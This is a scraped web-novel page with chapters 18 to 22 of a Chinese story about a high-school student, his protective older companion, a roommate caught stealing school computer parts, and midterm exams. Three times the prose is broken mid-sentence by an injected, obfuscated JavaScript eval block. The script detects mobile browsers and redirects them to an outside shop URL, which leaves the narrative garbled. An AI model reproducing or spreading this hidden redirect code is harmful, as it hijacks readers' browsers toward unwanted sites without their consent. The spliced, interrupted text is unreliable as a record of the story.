巧了,正是他前段时间帮白容生室友找手机时,查到的最开始的二手贩子。 崔盛反应很快,指了下学校的方向:“这里的学生卖给你的?” 二手贩子哪想到能这样倒霉被他遇上,干巴巴地赔笑。崔盛曲起手臂搭在他车头,似笑非笑:“之前跟我说谎?” “哪有,哪有,哥,实在是生意不好做。”二手贩子生怕下一秒就被他一巴掌扇到地上,老实交代,“说实话那学生我也不知道名字,黑灯瞎火脸都看不清,不敢随便指认啊。他除了那个手机,没偷过更贵的东西,我就赚点卖废品的钱。” “是吗,那你们怎么联系?” “我晚上会出来串街收东西,他要是有东西卖,就在这里等我。” 崔盛拿出手机记住时间,命令道:“今晚遇见我的事,谁都别说。” 二手贩子:“那当然,我……” 崔盛:“我马上搬家,过两天叫你上门收拾东西,你看可以的都能拉走。不白让你闭嘴,给你送笔生意。” 其实是二手房那边基本家具家电都配齐,崔盛想着,直接将老房子里的东西卖掉算了。 二手贩子赶忙表示:“谢谢哥,哥你讲道理,今晚的事我绝对不说!” 崔盛管完闲事,节俭地把掐断的烟又点上抽了,继续摸黑走回去。 他管这事,说到底还是放心不下白容生。如果确定就是白容生的室友兼同学偷手机,崔盛认为最好把那小子踢出白容生的班级。 19. 第 19 章 期中考之前最后一次大休,高二高三的学生很多都留下在学校继续自习,高一的住宿生则绝大部分都选择回家放松一下。 李舜下午最后两节自习直接请假,回宿舍和家长一起收拾。白容生逃了半节课,回去看见李舜已经收拾得差不多,还被他妈妈塞了两盒椰奶。 一中的学习氛围比白容生曾经的学校强了不知道多少倍,哪怕他们班是普通班,大部分人都是用心在学的。白容生英语底子太差,幸好李舜坐他旁边,两人每天互相交换英语和数学指导,算是共同进步。 崔盛说学校附近的房子还不能住,但是他们之前住的老房子也被搬空了。白容生除了去校门口买点东西,已经一个月没出学校,临近考试他也学不下去,要求崔盛带他出去逛逛。 可是徐桥同样不回家,这也代表着李舜走后,白容生要和徐桥至少要在宿舍过三个晚上。 今晚没有强制的晚自习,白容生在校门口站了会,若有所觉,还没转身,就被人从身后抱起来掂了掂。 “哥。”他抱怨地推了推崔盛的手,才被放下。 崔盛试完他的体重,又比了比两人之间的身高,还算满意地说:“长高了。” 白容生可能是发育期晚,高中后才开始长个子,就是目前长得不多,看不出日后能到达什么水平。 “想吃什么?”崔盛将他那辆朴实的电动车停在路对面,手搭着白容生的肩膀带他过马路,“吃点好的吧,天天就听你说食堂多难吃了。” 今天有些降温,白容生裹着宽大的校服外套,提议去吃火锅。 崔盛带着他,找了街里一家去年才开的火锅店。白容生坐下看了菜单,心里下意识粗略算账,就有点舍不得吃,他没想到单纯一盘青菜都要这么贵。 仿佛看出他的心理活动,崔盛拿过另一份菜单,随意翻了翻就开始点菜。 “出来吃不用考虑给我省钱。”崔盛给他倒了杯热水,顺便试了试白容生的手背冷不冷,“你哥还是有钱请你吃饭的。” 白容生皱眉,反手抓住他的手,仔细看了看。崔盛有两根手指都缠着绷带,指腹明显粗糙了很多,还增加了几道伤口。 白容生不说话,只抓着崔盛,一双黑漆漆的眼睛抬起,围着浓密的睫毛,就这样静静地看着他。 “看什么?”崔盛叹口气,虽说他挣脱白容生很容易,但还是选择任由白容生抓着,直到服务员将锅端上来,白容生才放开他。 “你手怎么这样?” “学一点修车的活,刮蹭几下难免的。” 白容生:“没有手套?” “总有时候随手就做了,哪有空去戴手套。”崔盛把盘子推向他,“想吃什么自己下,我去给你调点料碟。” 端着两份调料一份水果回来,崔盛调大火,又说:“之前你不是经常对我讲,不能做一辈子打手吗?等白老板买车,我就给你去做司机和修车工。” 白容生眉毛拧了起来,崔盛伸手过去,手掌张开,轻松捏住他的脸。粗糙的手指带着药味,捏了几下白容生的脸,转移话题:“期中考之前搬家可不可以?” “我巴不得明天就搬。”白容生说话时,口鼻贴着崔盛的掌心,吐出湿热的呼吸,“接下来还要跟最讨厌的舍友住二人间,真是够倒霉的。” 白容生提起这个,崔盛收回手,边用勺子帮他捞菜,边正色道:“说起这个,我不确定是不是你的室友,但是我那天晚上偶然碰见你们学校有人半夜出来。” 崔盛简单复述了他看见的事,白容生短暂的惊诧后,陷入沉思,筷子拨弄着碗里的鹌鹑蛋,缓缓点头。 他和李舜那种闭上眼基本就一觉到天亮的体质不同,晚上有太大声音的话会醒来,确实没问题后再睡。徐桥偏偏又是睡眠质量不好的,几乎每晚都要起来两三次,白容生都习惯了。 尽管有独卫,可是晚上的时候宿舍水压不够,老宿舍楼别说厕所冲水,洗个手都费劲。基本上半夜起来的人都会去每层公共浴室那边的公厕,既有水又不会吵到室友睡觉。 习惯徐桥这种每晚出去的行为后,白容生有时都不会醒过来。 他眼珠一转,崔盛就敲了敲桌子:“可以跟你班主任说,你不准半夜去偷偷跟他出去。” 白容生:“我不是那种人。” 崔盛手指隔空点了点他。 白容生一瞬间有这个想法不假,但他很快就克制住冲动,毕竟,犯不上为了一个徐桥去玩半夜跟踪。 恰好冯少平就住在学校宿舍,将这件事交给冯少平处理吧。 崔盛点菜的时候只想着点白容生喜欢的,还有几道店里的特色菜,根本没考虑能不能吃完。结束的时候架子上还有几份菜动都没动,找服务员要了袋子,打包提在手里出门。 白容生发红的脸被风吹得逐渐冷却,他看了眼时间,离学校关门还有一个小时。 崔盛捕捉到他的小动作,问:“不想回学校?” 白容生唔了声,崔盛难得看见他不想去学校,一只手无意识捏着白容生的后颈,又卷起他几缕柔软的黑发:“那就不去。” 他问:“想去哪里?还是我找家酒店,你去睡觉。” 白容生的目光茫然几秒,接着说:“我想回……想去洗头房看看,再给琴姐烧点纸。” 大晚上去买冥币和黄纸好像确实有些阴森,崔盛带着白容生绕了两圈,才在一家快关门的白事店买到。这里到洗头房挺远,再打车过去,下车时已经快半夜了。 属于北城区的更粗野、混沌的熟悉气息扑面而来,明明去上学还没多久,白容生却有种已经脱离曾经的生活好久的错觉。 他下车后深吸口气,沿着熟悉的路线向前走。崔盛默默跟着他,散漫地打量周围,仍然想不通这种环境,是怎么生长出一个白容生的。 这个时间,正是洗头房的客流量高峰。白容生远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168942|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远看见闪烁的灯牌,随后停下脚步。 换新的灯牌上闪烁的已经不再是“芳芳洗头房”,门面那里很明显都装修粉刷过一遍,在土气的基础上加了点不伦不类的时髦元素。 对,方琴已经死了,洗头房必然换了老板,怎么可能还和以前一样? “要进去看看吗?”崔盛靠近白容生,低头问,“还是先去烧纸?” “先去烧纸吧。” 房子后无人在意的漆黑角落,脏乱潮湿。白容生借崔盛的火机点火,在砖头垒起的简易的“火炉”内,买的纸钱烧了个干净。 看着最后一点火焰熄灭,白容生回到大门处,仰脸向上看,目光下意识寻找他之前住的房间。 他身上罩着宽松的校服外套,闪烁的粉红橙黄灯光同样暧昧铺洒在他白净的侧脸。靠在门口抽烟的一个衣衫不整的男人霎时间注意到他,看见他的校服后更是露出蠢蠢欲动的表情。 崔盛不动声色地看向那个男人,准备动手的时候,白容生兀自摇摇头,走回来抓着他的手:“哥,我们走吧。” 那个男人观望后,欺软怕硬地蹲了回去。 崔盛把白容生抓得更近一点,和他一起离开洗头房:“不上去看看?” “搬走这么久,再看也没意义了。”白容生自言自语一般说。罕见得,他头靠在崔盛肩膀上,忽然想到李舜,想到徐桥,想到班里那些每天毫无阴霾、打打闹闹的同学,没人知道白容生是在洗头房长大的。 连冯少平也不知道,崔盛这个“家长”,更是彻头彻尾在道上混的人。 白容生活了十几年,后知后觉他好像确实在哪里都格格不入。 洗头房的小房间不是他的归属,拼命考上的一中是他人生的跳板,崔盛房子的卧室是短暂的落脚之处…… 思路岔开,白容生抬起眼睛盯着崔盛,不知怎么想到,但是崔盛应该算是属于他的。 崔盛停住,任白容生靠了会,低头和他额头互相碰了碰,“困不困?找家宾馆睡觉吧。” 白容生确实困了,眨眨眼:“你的钱够吗?” “养你没问题。”崔盛随口说,“不够我去给你现抢。” 白容生嗤之以鼻,崔盛见他表情轻松了,就不再说话。 附近找了家还算干净的宾馆,白容生冲了个澡,躺下没多久便睡熟了。崔盛躺在他旁边,能感受到白容生身上的热度,贴着他,像个小动物。 崔盛这段时间不用上夜班,作息正常很多。可今晚明明困却睡不着,他想起身出去抽根烟,但白容生的手忽然搭上来,进而整个人滚到他怀里,压住了崔盛的动作。 静静躺了会,崔盛把他抱住,有那么一会觉得白容生就这样小小的也挺好,能够被他轻松地抱起来,是独属于他的小动物。 不过这样的念头一闪而过,因为他更真心的希望,白容生可以长大,可以追上他想要的人生目标,把过去远远抛在身后。 20. 第 20 章 白容生下午才回学校,教室里大概有十来个人在自习。 高中生大都缺觉,他睡到快中午,崔盛都在外面逛完一圈回来了,带他出去吃饭。吃完饭白容生凭借自制力拒绝了崔盛继续出去散心的提议,拿着崔盛给他装好的补齐档案的材料,回到教室写英语试卷。 睡饱后大脑很清醒,但做完一张英语试卷后就不太好了。李舜又不在,白容生对完答案,发愁地叹气,翻教辅书找知识点,用荧光笔将记不住的单词重点标注。 一中分科早,高一下学期期末考之前就会重新分班,重点班和普通班的区别,就要看几次期中期末的成绩和排名。 白容生想去重点班,期中考必须得考到班级前三分之一以内,期末再考进前十才行。尤其他准备选理科,理科的重点班竞争更加激烈。 折磨完英语后,再做数学,白容生甚至感觉到了愉悦。除了最后一问不太会,其他的他基本都有底。 冯少平休假也没回家,悄没声息地从后门进教室,大概数了数谁来上自习。到现在,班里的学生他心里大概摸清了情况,看好的几个人里,就包括白容生。 肯上进,能管住自己,有主见,还不叛逆。理科上脑子灵光比什么都强,薄弱的文科也很愿意补,只要坚持下去,明年就能进重点班。 和他同桌的李舜大概率会去学文,两人互补,倒是可以一直坐同桌。 他穿过课桌间的通道时,坐在后面的徐桥率先意识到有人来,警觉地抬头,发现是班主任,又把头低下去。 冯少平站在他旁边,看了看徐桥的数学试卷,心里叹息。 徐桥因为家庭出身性格孤僻,同时还是那种到了高中思路切换不过来的学生,本身爱钻牛角尖,必须多加关注。 白容生的哥哥已经给他打过电话,不太委婉地表示,白容生和徐桥有矛盾,在白容生搬离宿舍前,希望老师多关注一下孩子们的关系。 可能是怕冯少平不理会,崔盛昨天上午还专门来了学校,要给他送礼,被冯少平坚决拒绝。 不仅是白容生,李舜家里也给他打了电话,话里话外暗示李舜和一个室友合不来,能不能换宿舍。 冯少平越想越头疼,面上波澜不惊地把班里学生吓了一遍后,背着手走出教室。 他刚走到楼梯口,后面就传来急促的脚步声,白容生追上来叫他:“老师!” “怎么了?” 白容生站稳,确定四周没人后,说:“老师,最近班里有没有住宿的同学丢东西?” “什么?没有,除了李舜的手机,目前班里没有宿舍丢东西。好像上周隔壁班丢了什么,你们马老师说的……” 白容生轻声打断冯少平的回忆:“老师,李舜的手机我哥帮忙找回来了,已经被人卖到二手市场。” 不等冯少平问你哥是做什么的,白容生面不改色继续说,“那个拿到手机的二手贩子说,他是半夜在学校这边收到的手机,有人隔着墙和他交易。” 一中有相当一部分围墙并不是全封闭的,而是铁栅栏,外面是窄窄的绿化带和马路,中间的缝隙完全够成年男人手臂穿过去。有些小摊贩就瞅准这个机会,在墙外卖点小吃零食。 冯少平脸色变得严肃:“真的?” 白容生没说是崔盛偶然撞见交易现场,煞有其事地点头:“嗯,我觉得这样很危险。” 岂止是危险,简直是离奇。冯少平头都大了,急匆匆走出两步又回头叮嘱:“白容生,回去这事别跟其他人讲,老师来处理。” “我知道,老师。” 白容生做出听话的样子微笑,冯少平离开后,他敛去笑容,趴在走廊边吹风。 冯少平决定怎么处理,白容生不清楚。晚上睡觉时他心里记挂着这件事,听到动静时模模糊糊醒过来,黑暗里传出轻细的脚步声。 白容生挣扎了一会睁开眼,宿舍门被打开一条缝,外面走廊的灯光照进来,徐桥的身影无声出去,再关上了门。 他本想等着徐桥回来,可是太困,躺了好一会没见徐桥回来,不知不觉睡过去。 白容生第二天被闹钟惊醒的时候,顶着乱糟糟的头发坐起来,目光随意一瞥,却看见徐桥床上空空如也,被子堆在旁边。 没回来? 假期的学校里要安静许多,白容生进班时已经八点多了,班里零散几人,都是住宿生。他坐下翻开书,还没看几页,外面走廊有两三个过去的人兴奋地说着什么“警车”、“看到警察”之类的话,在安静的教学楼里很明显。 十几岁的高中生能爬起来在班里上自习已经用尽了自制力,听见外面有热闹,纷纷都放下笔出去,好奇地打听消息。 白容生坐着没动,转着手里的笔,有些诧异。 不会是徐桥吧? 这个念头刚闪过,还在叽叽喳喳的学生们忽然安静,散开给大步走来的年级主任让路。 “白容生。”跟在主任后面的冯少平敲了敲教室门,示意白容生出来,“来这边。其他人,都老实点回去学习,哪都有你们是吧?” 白容生快走几步跟上冯少平,“老师,徐桥晚上没回来。” 冯少平头疼地叹气,没有回答这个问题,说:“等下进屋你别害怕,问什么你就如实说,很快,几分钟的事。” 两间班主任办公室外面围着不少人,被主任挥手赶苍蝇一样赶走。幸好不是平时上课的日子,否则这里恐怕要被完全堵住。 冯少平在他背后拍了拍,白容生推开门,看见桌后坐着一男一女两个警察,都抬头看着他。其中女警温和地笑笑,起身示意他坐下。 “不用紧张,同学,来,喝杯水。” 白容生接过半满的一次性水杯,对他们微微一笑。他的模样很占便宜,导致问话的警察态度更加温和。 “是的,军训快结束的时候,李舜的手机丢了,当时我们怀疑是徐桥拿的,但没有证据,怕污蔑了他。” “后面手机是你家里人找回来的?” “嗯,我哥认识几个在二手市场工作的人,也是运气好,竟然把手机找回来了。” 警察主要确定的就是关于李舜手机的事,以及白容生透露的所谓“半夜交易”的信息。女警记录后,看着他问:“这些都属实吗?” 白容生:“都是我所了解到的,我也不清楚是不是真的。”他脸上露出担忧和惧怕,“是徐桥出事了吗?为什么会来问这个?” “你们小孩子就不要问这么多了。”男警核对完本子上的记录,“没有什么大事,回去也别胡说八道,出去吧。” 所以就是徐桥出事了。 白容生胸口跳了跳,脸上还是平静中带着疑惑的表情,推门出去。他径直找到站在外面的冯少平,问他:“老师,究竟怎么了?” 冯少平很没风度地抓了抓头发,长叹口气,带着白容生进了旁边的办公室,顺手关上门。 “李舜不在,你也算是当事人之一,跟你简单说一下,但是不要和其他同学说。学校这暑假换了批新电脑,淘汰下来的旧电脑都存放在两间旧机房了,徐桥他不知道怎么弄开旧机房的门进去,把那些电脑拆开,能卖的部件,他背在包里出去卖掉了。” 这件事白容生确实不知道,也没料到徐桥有这么大的本事:“把电脑卖了?” “电脑拆了卖里面的东西,好像有的还挺贵。”冯少平也不懂,赶紧把话题拉回来,“不管这个,巧了,昨天听你说我就和主任反映,晚上他跑去实验楼那边装了一包零件,刚到墙头被我照到,就是墙外面那个黑心贩子跑了。徐桥我看他状态不好,没敢让他一个人呆着,天亮后主任报的警。现在警察要找那个二手贩子,你哥肯定认识,能不能给点线索?” 白容生给崔盛打电话,没想到崔盛十分干脆地把那人在二手市场的店铺和真名都说出来了。白容生拿纸记下,崔盛猜到出事,只是电话里不方便说,一再强调:“你老师既然报警,你就不要插手,躲远点。” “嗯嗯。”白容生应下,遗憾李舜不在现场,毕竟他才是真正的受害者。 清楚情况后白容生也没有凑热闹的兴趣,回到班里继续学习。对他来说,考试成绩才是目前最重要的。 中午食堂没饭,白容生等着崔盛来接他出去吃。偏偏崔盛店里临时来了客人,他走不开,白容生留在教室,趁着这个机会背英语。 他坐累了,站起来背单词。教室后门猛地被人推开,撞到墙上发出巨响,弹回来时再被脚抵住,门上的玻璃都在震动。 白容生被吓了一跳,差点把书摔出去,正对上徐桥阴沉的目光。 两人对视几秒,白容生拧了下眉,又看回手上的书,不想理会。他心里只是奇怪,徐桥竟然没被警察带走,不过学校也不大可能亲手把本校学生送进去坐牢,一定会尽力压下去这件事。 然而徐桥却一步步走到他面前,声音沙哑地说:“白容生。” 彻底放下手里的书,白容生双手往后撑着桌面,看他:“有事?” 徐桥一夜未睡,他本来就睡眠少,眼底都是血丝,脸色发暗,头发乱糟糟的。近距离下,白容生却干净俊秀,眉眼精细得过分,天然就比一般人吸引目光,令他妒恨。 当他们都穿着校服时,白容生甚至看起来像条件不错的家庭精心养育的孩子。 开学时候穿着虽然新但明显廉价的衣服,但装出从容坦荡的样子和李舜这种有钱人拉近关系;明明也是从那种烂学校考进来的,却就是有着数学天赋,还和老师讨好卖乖,结果考试都要抄别人的…… 白容生可能不会比他差,但再怎样也不该比他好,究竟凭什么? “李舜的手机你是从哪里找到的?”徐桥压低声音问,“你和老师说了什么?” 白容生听了,像是很惊讶,故意睁大眼睛,满脸无辜的样子。他还带着点稚气的脸做这种表情恰到好处,把徐桥气得都有点发抖。 “意外,运气好在人家店里就看见了。”白容生笑着说,“至于其他的,我可没和老师说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168943|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也不知道啊。你不会以为是我告发你偷电脑吧?” 说着,他的笑容霎时一收,脸色变得冷凝,“自己干出这种蠢事,还要去别人身上找责任吗?” 徐桥瞳孔一缩,手指不由得攥紧。学校当然不会把他送去坐牢,但他被记过,下周会被全校通报批评,因为家庭贫困能申请的那点补助也将会由于“品行不端”被取消。 他可不信冯少平会突发奇想夜晚在围墙边巡逻,只能是有人举报。那么嫌疑最大的那个人,毫无疑问是白容生。 白容生一直提防他会动手,见状神经绷紧,脸上还是平静的神色,“还有什么要说的,一块说了吧。” “你这个——” “想动手?”白容生身体忽然前倾,盯着徐桥的眼睛,“那你可要想好了,或者你最好永远也别出学校大门。” 二手市场的水很深,不是一般人能搞明白的,算是半个混混聚集地。白容生既然能在那里把李舜的手机找回,叫两人在路上绑走徐桥打一顿也是轻而易举。 徐桥深吸口气,没说话。好一会,他僵硬地转身,回到座位上。 白容生放开手里抓住的李舜的金属书立,拿起钥匙和手机,若无其事地出门了。 他走出校门,看见崔盛背对着他站在那里接电话,就放轻脚步靠近,最后一段距离时忽然快跑几步,跳起来扑上崔盛的后背。 崔盛被他扑得晃了晃,反应很快地伸手往身后托住白容生,把他背稳了:“怎么出来这么慢?” “和同学有点事说一下。”白容生趴在他肩膀,伸手抱住崔盛的脖子,“我们中午吃什么?” “虾和红烧肉,还炒了个茄子。” 崔盛直接背着白容生过了马路,顺手拍了下他的屁股,“到站了,少爷,下来坐车。” 白容生思考完他的话,抓住要点:“你做的?不是说出去吃……房子装修好了?” 崔盛吹了个口哨:“聪明。” 房子有些地方重新刷了漆,崔盛担心白容生的身体,多通风一段时间后才让他搬进来住。白容生之前一直没来这套房子,虽说同样是老小区,但比崔盛之前住的那个满是垃圾桶味道的楼好多了。 推开门,他仔细地将里面看了一圈,才走进去换鞋。崔盛富有耐心,跟在他身后,看着白容生将房子几个房间里里外外视察一遍。 房子采光很好,餐桌被崔盛放在客厅,桌角摆着上一家留下的旧花瓶,擦得很干净,里面是几朵凑数的塑料假花。 “我去端菜。” 崔盛走到厨房门口,白容生跟上来,好奇地探头,“你什么时候去报了厨艺班?” “你去上学,我无聊的时候就在店里看菜谱。”崔盛说,“反正没做好就分给店里那几个小子吃,现在都练好了,再给你。” “哥,”白容生真心实意地说,“搞得我有点想亲你了。” 崔盛偏头看他,笑了,“亲啊。” 白容生凑到他脸上亲了下,崔盛摸了摸他的头发,让他坐下等着吃饭。 吃饭时崔盛着重观察白容生的饭量,见他吃了两碗饭,满意地认为白容生可以继续生长。 校服定的尺寸大了不少,崔盛的理由是预防他后面长高,平日里白容生都得把外套的袖口卷起来。吃完饭他直接脱下外套去洗碗,崔盛不想让他干,白容生坚持要洗。 “我总不能白吃饭吧?” 崔盛靠着洗碗池,把他洗好的碗筷摆好,哼笑:“白吃就白吃了,你能吃多少钱?” 白容生看他一眼,没说话。 崔盛从他的眼神里品出了某种意味,在他洗完碗后,伸腿拦住路不准白容生走:“想说什么?直接说。” 白容生:“我白吃你的可不少。” 他说这话时很认真,乌黑的眼睛向上看,显得眼角也跟着微微上挑,睫毛密长,令崔盛在注视中生出了怪异的感觉。 “那算什么。”崔盛回答。 他伸手捏玩具一样揉捏了一把白容生的脸,白容生皱眉想说话,抓住他的手,握着崔盛的双手:“让你直接说句,你明明是心甘情愿给我花钱,能要了你的命?” 崔盛安静了几秒,他浅色的眼睛在光线下呈现出几分近乎金色的色调,看人时很容易显得冷漠、缺乏感情。现在他难得避开了白容生的直视,被白容生抓着手追问:“怎么又不说话?” “说不过你。”崔盛坦然承认,手上用力轻松抽回手,低头看了白容生一眼,“我是你哥,给你花钱不是理所当然的吗?” 他的表情、口吻和眼神都让白容生警惕,但又被崔盛堵着跑不出去。下一秒崔盛直接弯腰把他扛起来:“上个学回来跟我聊这些无聊的,你还是去收拾你的房间吧,看看有什么缺的,我再给你买。” 白容生本来吃得多,像个水泥口袋被扛起来的时候差点吐出来。好在崔盛有点良心没有直接把他甩在床上,而是弯腰放他下去,居高临下看着他半躺在床上喘气,露出一个带着得逞意味的恶劣微笑。 21. 第 21 章 白容生的房间是主卧,宽敞明亮,有一张铺得厚软的双人床。房间面积足够大,他还有了独属于他的衣柜。 那张他自己买回来的书桌被崔盛找人清理和修饰后,像新的一样,摆在窗边,旁边是上任住户留下来的小书架,干干净净。 白容生仔细地把房间检查完毕后,坐在他的书桌前。斜前方是明净的窗户,轻薄的米色内窗帘被风吹得不住飘荡。 如果不是假期学校没办法办手续,他今晚就想搬出宿舍。 这个想法一闪而过,崔盛靠着门问他:“满意吗?今晚就在这睡吧,我跟你班主任请假。” 说着,他看了眼客厅的日历,自言自语地算,“下周就能办走读,不用再住宿舍了。” 见白容生要开口,崔盛一锤定音:“下午我陪你去学校拿东西,你就在家学习。假请好了,刚刚你老师给我打电话,上午的事怎么不跟我说?” 白容生愣了下反应过来是徐桥的事:“没什么要紧的。” 崔盛:“这样就更不能住宿舍了,我怕他半夜给你下毒。” 白容生迷惑又无言地看了他一眼,拎起包:“那走吧,我的书好多,先搬回来一部分。” 开学后学校一直在零零散散地发课本、教辅和习题册,再加上学校自印的试卷,不知不觉就积累了许多。 白容生大部分书收在宿舍的箱子里,他把箱子从床底下拖出来,崔盛接手,先将这一箱和他的一大包衣服运回去。 床上的床单是开学时统一在学校买的,质量一般。崔盛意思是可以直接丢掉,白容生心里还有点舍不得,毕竟也花了钱。 他的抠门受到崔盛的不屑一顾。 今天是假期最后一天,部分住宿生会选择今晚返校而非明天早上。 李舜在傍晚的时候提前返校,意料之外扑了个空,白容生不仅没在教室,宿舍东西都清走不少。 他打着电话大呼小叫,白容生正好还有英语问题没搞懂,夹上试卷去学校。 “不是说期中考才走?提前这么多天就要抛弃我了吗?”李舜一屁股坐在楼下花坛边,“哎呀,到底还是成弃妇了——” “房子收拾好了,这宿舍实在住不下去。”白容生坐他旁边。 两人边看试卷边交流徐桥的事,李舜听后啧啧两声可惜自己竟然错过了热闹现场,接着说:“这样看,我也得准备换宿舍,或者实在不行去你们那小区租个房子算了。真怕徐桥哪天半夜给我水杯里下毒。” 白容生觉得李舜和崔盛一定很有共同语言。 “不提他,吴飞云也回来了。”李舜拉着白容生起身,“去食堂借一下阿姨的蒸笼,给你们尝尝我妈蒸的包子。” 现在食堂人不多,李舜提着他带来的一大袋包子找食堂窗口帮忙热一下,他们三人找了张桌子坐下聊天。 多亏李舜热情且嘴甜,和食堂窗口关系不错,阿姨乐意帮他热点饭。等包子热好后,李舜给窗口阿姨拿了两个包子,借个不锈钢小盆将其他包子端了回来。 “牛肉猪肉都有,还有两个白菜的。”李舜说,“快点吃。” 包子皮软中带着韧劲,肉馅多汁,带着一点鲜甜。三个高中男生凑一起饭量着实可观,最后一起分了两个白菜包子,纷纷臣服在李舜母亲厨艺下。 考试前的时间通常是在难熬中飞速流失,甚至于冲淡了白容生搬到新房子的愉悦。 一中整体风气就是分数说话,年级排名证明一切。白容生连考三天,考完后的傍晚感觉脑子都木了,和李舜相顾无言,都认为出卷人脑子被驴踢了。 吴飞云趴着喝可乐,实在听不下去:“你们两个能不能体贴一下我这个注定倒数的人的心情?” 白容生是真心觉得自己要倒数,情绪不高,吃饭的时候崔盛一眼就看出来:“怎么了,没考好?” “感觉不太好。”白容生说,“明天对答案,我看看吧。” 崔盛想了想:“也不要给自己太大压力,你为这个考试,太紧张了。” 白容生:“哥,你做打手没有出头的时候,也只能逼自己去干吧?” 崔盛愣了后被气笑了,“这是一回事?” “没有退路的事都是这样。” 白容生突然认真地抬头,看向餐桌对面的崔盛,“我没有退路。” 崔盛默然注视着他,起身收拾碗筷:“谁说没有?读不下去了,不想留在这里了,我就带你走。离这里远远的,让他们找不到。” 白容生:“听起来像逃犯。” 崔盛将碗筷放进洗碗池,白容生靠在厨房门口,听他说:“白容生,人生很长,世界也很大。就那样坐着火车一直坐下去,到终点站下车,有口饭吃,你就能在那里活下去。” 白容生疑心他是看了什么不正经的地摊杂志,学了两句“鸡汤文学”,不过心情还是轻松了点。 他扪心自问,说到底,他惧怕的是付出的努力得不到回报,梦想的生活是海市蜃楼,把他摔回地面,告诉他,他就是做不到。就像数学的最后一问,在考场上后背出汗,不会做还是不会做。 “考完试就别想了。”崔盛擦完手出来,抓了把还在沉思的白容生的头发,“店里还有事叫我过去,鞋柜上给你留了零钱,去楼下新开的超市逛逛吧,想吃什么自己买。” 崔盛口中的“零钱”是两张整钞,足够白容生买完零食再买明天的菜。他换了鞋揣上钱出门,在人行道上走着吹已经很冷的风,大脑也被吹得冷静了。 不是没有道理,反正叉子和铁算盘称不上什么爱心资助人,白容生花了他们的钱就跑都不会有什么愧疚。 假如他确实不是读书这块料,那就和崔盛一起逃出这座城市。 火车的终点站会是哪里? 白容生胡思乱想了一路,成功把自己逗笑。 新开的超市步行过去只要五分钟,正值开业活动期间,全场打折,门口就能看见挤攘的人群。 白容生踮起脚尖,观望一番,生出短暂的犹豫。不过他明天想吃煎羊排,如果今晚超市里还有,就省得明早崔盛再跑去菜市场买。 一中附近有着大片居民区,很多都是在这边带孩子上学的,对超市打折极为热衷。白容生在收银台旁边等了等,捡到一个购物篮,侧身挤进人群直奔生鲜区。 他运气不错,买到羊排后,水产品那边还剩下两条鲜活的鲈鱼。崔盛蛮喜欢吃这个,白容生捞出一条,等着杀鱼的队伍排了很长,需要领号码牌。 领了号,白容生琢磨买点零食,明天分给李舜和吴飞云。再加上崔盛很喜欢吃一款老式的牛奶饼干,家里之前买的一盒吃完了,这次可以直接买一大包。 他在脑子里列清单,都没注意到前面被堵住了。 白容生本以为单纯是人多,可很快发现身边围着的似乎都是看热闹的人,且由于他刚刚走神地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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东西装了满满两袋。白容生提着哗哗作响的袋子走出超市,身后忽然有人追出来叫他:“白容生!” 白容生转身,路灯下徐桥盯着他,“你都看见了?” “看见什么?”白容生对他微笑,“我没有凑热闹的闲心。” “你……” “担心我回学校说出去?”白容生身上穿的少,被风吹得冷,也不想让徐桥毁坏他的心情,简短地说,“我没有背后说人闲话的爱好,但是你既然做了,肯定会被人知道。这种事,你应该比我清楚吧?” 小偷小摸,白容生司空见惯。通常情况下,只要不偷他的东西,他都懒得管,也没有那种去指责的道德感。 他讨厌徐桥,一是徐桥偷李舜的东西,二是徐桥撕他试卷。那天警察来了后,白容生觉得对徐桥的报复已经足够,不打算再和他纠缠。 今晚徐桥在超市偷东西被抓,白容生既不幸灾乐祸,也不可怜他。 徐桥确实是这个目的。他盯了白容生一会,突然说:“你在傲慢什么?” 白容生扬眉,正对着他,没说话。徐桥自顾自道,“真不知道你天天在自视甚高什么,因为你有个哥在外面辛苦打工,供你上高中吗?这倒是,有人养着真好。” “那你是来做什么,表明你羡慕我有哥吗?”白容生又笑了,这次的笑容饱含冰冷和恶劣,“徐桥,没有别人帮我的话,我会自己打一年工再回来读书,而不是去超市偷那两盒东西。” 他很清楚知道怎么说才能撕开徐桥的脸面,只要让徐桥之后再也不打扰他。 这只是一段意外的插曲,白容生回到小区楼下时,看见崔盛坐在花坛边等着他。远远看见他回来,崔盛起身接过两个袋子,也不问他怎么买了那么多,说:“走,回家。” 22. 第 22 章 “成绩出来了!” 吴飞云消息灵通,快步跑过走廊,从后门跳进来,目标明确地在班里串了一圈,“听说咱们班考得还不错,老冯在办公室正笑呢。” 除去三个重点班,剩下几个普通班都是平行班级。大考后比优生数量、比平均分是家常便饭,更何况是第一次全市统一大考。 但是具体排名和分数表没出,吴飞云只打听到这次是谁拿了第一,以及班级平均分不错,在普通班里不是第一就是第二。 前两天对完答案后,大概推测出的分数和白容生预想的差不多,或者说要高一点。但他的弱项集中于文科,英语已经确定又是班里平均分以下,语文只能等阅卷结果。 